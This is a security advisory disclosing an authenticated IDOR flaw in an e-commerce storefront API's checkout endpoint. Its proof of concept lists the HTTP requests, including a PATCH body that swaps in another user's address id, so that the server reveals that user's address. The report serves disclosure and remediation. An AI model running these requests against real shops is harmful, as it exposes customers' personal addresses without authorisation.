Summary

An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order.
By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response.

Details

Affected Component(s)

• Authenticated user order management
• Address association logic
• Order update endpoint(s)
  Affected Endpoint(s):
• /api/v2/storefront/checkout

The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.

PoC

Preconditions

• Valid authenticated user account

Step 1: Log-in using a valid user, in this case customer2@example.com
Step 2: Visualize current user’s addresses

Request
GET /account/addresses

The following screenshot shows customer2@example.com address.

Step 3: Initialize the Shopping Cart

Request
POST /api/v2/storefront/cart HTTP/1.1

From the response, extract the token marked in bold.

Step 4: Legitimate Order Edit Request

Using the obtained order token A1cram_6cFWpoj4V1yPkuQ1767113871701 perform an edit order request in order to add a custom billing address

Request
PATCH /api/v2/storefront/checkout

{
    "include": "billing_address",
    "order": {
      "email": "idor_test@example.com",
      "bill_address_attributes": {
        "firstname":"CTF","lastname":"Tester","address1":"123 Main St",
        "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
      },
      "ship_address_attributes": {
        "firstname":"CTF","lastname":"Tester","address1":"123 Main St",
        "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
      }
    }
  }

Step 5: Modify the order request to include the other user's address and trigger the IDOR.

In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.

Request
PATCH /api/v2/storefront/checkout

{"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**}

As can be seen other user's address is displayed.

Impact

As a result, an attacker can:

• Replace the address identifier with one belonging to another user
• Cause the backend to associate and return another user’s address within the attacker’s order